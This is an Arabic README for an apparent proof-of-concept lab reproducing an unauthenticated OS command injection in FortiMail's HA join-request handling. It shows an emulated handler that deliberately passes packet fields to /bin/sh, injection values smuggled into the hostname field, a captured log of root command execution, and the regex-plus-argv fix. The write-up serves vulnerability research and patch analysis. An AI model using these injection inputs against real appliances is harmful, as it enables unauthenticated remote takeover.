
حاوية PoC ومختبر لـ CVE-2026-126148، وهو حقن أوامر نظام التشغيل دون مصادقة في معالجة طلب الانضمام HA في FortiMail، مع مقارنة تفاضلية بين 8.0.1 و8.0.2 ومسح شامل.
| CVE | CVE-2026-126148 |
| المكوّن | Fortinet FortiMail — عنقود التوافر العالي، معالجة طلب الانضمام (lab/fortimail_ha.py، نموذج محاكى) |
| المتأثر | FortiMail 8.0.0–8.0.1، FortiMail 7.6.0–7.6.6 |
| تم إصلاحه في | FortiMail 8.0.2 (فرع 8.0)، FortiMail 7.6.7 (فرع 7.6) |
| CWE | CWE-78 (التحييد غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل — حقن أوامر نظام التشغيل) |
| التأثير | تنفيذ شيفرة عن بُعد دون مصادقة بصلاحيات حساب خدمة FortiMail (uid=0(root) في المختبر) |
| المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 حرج |
| المُحفّز | حقول هوية النظير في حزمة طلب انضمام مُصمَّمة لعنقود FortiMail HA |
| الفضل | Fortinet PSIRT (مؤلف الاستشارة)؛ لا تُسمّي الاستشارة أي مُبلّغ فردي |
| الاستشارة | Fortinet PSIRT FG-IR-26-200، نُشرت في 2026-11-10 |
| حل بديل | لا يوجد حل بديل نشرته Fortinet |
تصف استشارة Fortinet FG-IR-26-200 ثغرة حقن أوامر نظام التشغيل في عنقود التوافر العالي الخاص بـ FortiMail والتي "قد تسمح لمهاجم بعيد غير مُصادَق بتنفيذ شيفرة أو أوامر غير مصرّح بها عبر حزم طلب انضمام HA مُصمَّمة". عقدة FortiMail التي تنتمي إلى — أو ترغب في الانضمام إلى — عنقود HA تستمع لطلبات الانضمام على نطاق منافذ ثابت. يحمل طلب الانضمام هوية النظير الذي يريد الانضمام، ويحوّل البرنامج الخفي تلك الهوية إلى أمر لإدارة العنقود. عندما تُوضع حقول الهوية في سطر الأوامر كنص ويُسلَّم سطر الأوامر هذا إلى صدفة (shell)، لم تعد الحقول بيانات: بل تصبح صياغة صدفة. والنتيجة هي تنفيذ شيفرة عن بُعد بصلاحيات البرنامج الخفي لـ FortiMail، من حزمة واحدة دون مصادقة، دون أي تفاعل من المستخدم ودون أي وصول مسبق إلى الجهاز.
يحتوي هذا المستودع على مختبر مُحاكى داخل حاويات يعيد إنتاج الثغرة، ومقارنة تفاضلية مع شكلين من أشكال المعالجة، ونتائج مسح للثغرات الصفرية ضد الفرع المُرقَّع.
FortiMail برنامج احتكاري. لا يُعاد توزيع أي من شيفرته أو ملفاته التنفيذية أو إعداداته هنا، ولا تنشر Fortinet صيغة حزمة طلب الانضمام الخاصة بـ HA ولا شيفرة معالج الانضمام. لذلك فإن ما يمكن إعادة إنتاجه هنا هو:
/bin/sh، وليست خصائص FortiMail، ويُمارَس عليها فعليًا.كل ما يؤكده المختبر بشأن منتج البائع مأخوذ من الاستشارة؛ وكل ما يؤكده بشأن النموذج مُصنَّف على هذا النحو. النموذج هو الشيء الوحيد الذي يعمل في المختبر، وقد بُني بحيث يختلف السلوك الثغرة والسلوك المُرقَّع في المكوّن المستهدف وحده.
يقع النموذج في lab/fortimail_ha.py ويُختار عبر FML_MODE:
FML_MODE | السلوك | الإصدار المُبلَّغ عنه |
|---|---|---|
vuln | نموذج FortiMail 8.0.1: تُدرَج هوية النظير في سطر الأوامر دون التحقق منها، ويُنفَّذ السطر عبر /bin/sh -c | 8.0.1 |
fixed | نموذج FortiMail 8.0.2: يُتحقَّق من كل حقل من حقول الهوية مقابل مجموعة أحرف صارمة و يُنفَّذ الأمر دون صدفة، كمتجه وسائط | 8.0.2 |
fixed-partial | شكل معالجة افتراضي — وليس ادعاءً بشأن تصحيح المورّد: يُتحقَّق من حقل hostname فقط، ويُحتفظ بمساعد التنفيذ القائم على الصدفة | 8.0.2 (partial-remediation model) |
وُجد الفرع الثالث ليكون للفحص الشامل هدف واقعي لمعالجة غير مكتملة. وهو نتاج هذا المختبر ولا يحمل أي تأكيد بشأن ما شحنته Fortinet.
طلب الانضمام هو الجزء الوحيد من بروتوكول HA الذي يمكن لغريب إرساله: إذ يجب على الخادم الخفي قبوله من نظير لم يره من قبل، لأن هذا هو معنى الانضمام إلى عنقود. لذلك فإن هوية النظير في الحزمة غير موثوقة بحكم التصميم.
في نموذج FortiMail 8.0.1 لا تكون الهوية مجرد غير مُتحقَّق منها — بل هي نص. إذ يُدرج
المعالج حقول الحزمة في قالب أمر ويسلّم السلسلة الناتجة إلى صدفة. lab/fortimail_ha.py:336:
argv = build_argv(msg_type, fields)
cmdline = " ".join(argv)
و lab/fortimail_ha.py:345:
else:
# FortiMail 8.0.1 model and the partial-remediation shape: the command line is
# handed to a shell.
exec_kind = "shell"
out, err, rc = subprocess_run(["/bin/sh", "-c", cmdline])
تُجري build_argv() (lab/fortimail_ha.py:297) استبدالاً بسيطاً للرموز، دون أي
اقتباس ودون أي فحص للأحرف:
def build_argv(msg_type, fields):
"""Replace the {field} tokens with the raw values that arrived in the packet."""
template = COMMANDS[msg_type][0]
argv = []
for tok in template:
if tok.startswith("{") and tok.endswith("}"):
name = tok[1:-1]
argv.append(fields[name].decode("latin-1"))
else:
argv.append(tok)
return argv
قالب طلب الانضمام هو استدعاء fml_ha peer add المُنمذج
(lab/fortimail_ha.py:152):
MSG_JOIN: (
["fml_ha", "peer", "add", "--cluster", "{cluster-id}", "--serial", "{serial}",
"--name", "{hostname}", "--ip", "{peer-ip}"],
["cluster-id", "serial", "hostname", "peer-ip"],
),
لذا فإن سطر الأوامر الذي يصل إلى الصدفة هو
fml_ha peer add --cluster <cluster-id> --serial <serial> --name <hostname> --ip <peer-ip>
مع استبدال كل <...> ببايتات يتحكم بها المهاجم. لذلك فإن hostname بقيمة
mail-node-01; id > /results/marker/x.txt يُنتج
fml_ha peer add --cluster cluster-01 --serial FG100FT0000000001 --name mail-node-01; id > /results/marker/x.txt --ip 10.10.10.11
وهو أمران، والثاني يعمل بصلاحيات الخدمة الخلفية. يُظهر سجل الأوامر الملتقط ذلك السطر بالضبط، الناتج عن النموذج القابل للاستغلال
(evidence/ha-command-log.txt):
2026-11-12T03:26:07Z mode=vuln version=8.0.1 port=20005 transport=tcp peer=10.89.10.125:51284 exec=shell exit=0 command=fml_ha peer add --cluster cluster-01 --serial FG100FT0000000001 --name x$(id>/results/marker/a4179c5d3e360061.txt 2>&1; echo token=a4179c5d3e360061 >>/results/marker/a4179c5d3e360061.txt) --ip 10.10.10.11
يُحمَل ملخّص العنقود (cluster digest) داخل الحزمة أيضًا، لكن الخادم (daemon) يقارنه بعد أن يكون أمر تسجيل النظير (peer-registration) قد نُفِّذ بالفعل (lab/fortimail_ha.py:361):
# ---- the cluster digest is compared only now: the peer-registration command has
# ---- already run. That ordering is what makes the flaw *unauthenticated* (PR:N).
digest_ok = hmac.compare_digest(fields["admin-digest"], SECRET.encode("latin-1"))
تُعالَج الحزمة ذات البصمة الخاطئة بالتالي ويُتَّخذ إجراء بشأنها؛ ولا يسجّل الخادم الخفي إلا بعد ذلك أن النظير غير موثوق. ويكشف الرد الفرق دون تغيير النتيجة:
"status": 0, "digest_ok": false, "message": "executed; peer not trusted (cluster digest mismatch)"
هذا هو الترتيب الذي يجعل PR:N يتحقق، وهو السبب في أن المسح يجد نفس تغيير الحالة غير المصادق عليه على السطر المُرقَّع (§8.3).
يغلق نموذج FortiMail 8.0.2 الثغرة بطبقتين مستقلتين.
الطبقة الأولى — التحقق. يتم فحص كل حقل يُبنى منه سطر الأوامر مقابل مجموعة أحرف صارمة (lab/fortimail_ha.py:99 و:292):
FIELD_RE = re.compile(r"[A-Za-z0-9._-]{1,64}")
...
def field_ok(value):
"""Strict character-set check: letters, digits, '-', '.' and '_', 1..64 bytes."""
return FIELD_RE.fullmatch(value) is not None
يُستخدم fullmatch() عن قصد: فالنمط المثبّت $ سيطابق أيضًا قبل سطر جديد لاحق، وهي الطريقة الكلاسيكية لتعطيل مرشّح مجموعة الأحرف. يختبر المسح تلك الحالة صراحةً (§8.2).
الطبقة الثانية — بلا shell (lab/fortimail_ha.py:340):
if MODE == "fixed":
# FortiMail 8.0.2 model: no shell, argument vector only.
exec_kind = "argv"
out, err, rc = subprocess_run(argv)
logged_cmd = shlex.join(argv)